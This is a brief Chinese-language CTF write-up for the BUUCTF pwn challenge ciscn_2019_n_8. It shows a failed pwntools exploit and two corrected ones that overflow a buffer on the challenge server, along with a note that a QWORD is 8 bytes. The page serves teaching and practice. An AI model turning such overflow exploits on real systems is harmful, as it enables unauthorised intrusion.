[BUUCTF-pwn]——ciscn_2019_n_8
- 题目地址:https://buuoj.cn/challenges#ciscn_2019_n_8
- 题目

上去checksec一下,吓一跳保护基本全开了。
在IDA中一看,开心了。如此简单 只需要v[13] ==17 就好。因为var是以字符串的形式输入的。所以exploit如下:

exploit
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p32(0x11))
p.interactive()
发现不可以, 点不开 _QWORD 就去百度了一下
qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它自然是word(2字节,0~2^16-1)的四倍,8字节
所以expoit改下应该为
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p64(0x11)) # 32对应4个字节, 64对应8个字节
p.interactive()
或者
from pwn import *
p = remote("node3.buuoj.cn",29772)
p.sendline("aaaa"*13 + p32(0x11) + p32(0)) # 32对应4个字节, 64对应8个字节
p.interactive()
本文详细介绍了如何解决一个CTF中的缓冲区溢出问题,涉及到了64位环境下地址的正确表示。在原始exploit中,由于对QWORD的理解错误,导致尝试失败。通过修正,使用p64()或两个p32()来正确填充8字节的地址,最终成功交互。该过程展示了对内存管理和指针理解的重要性。
429





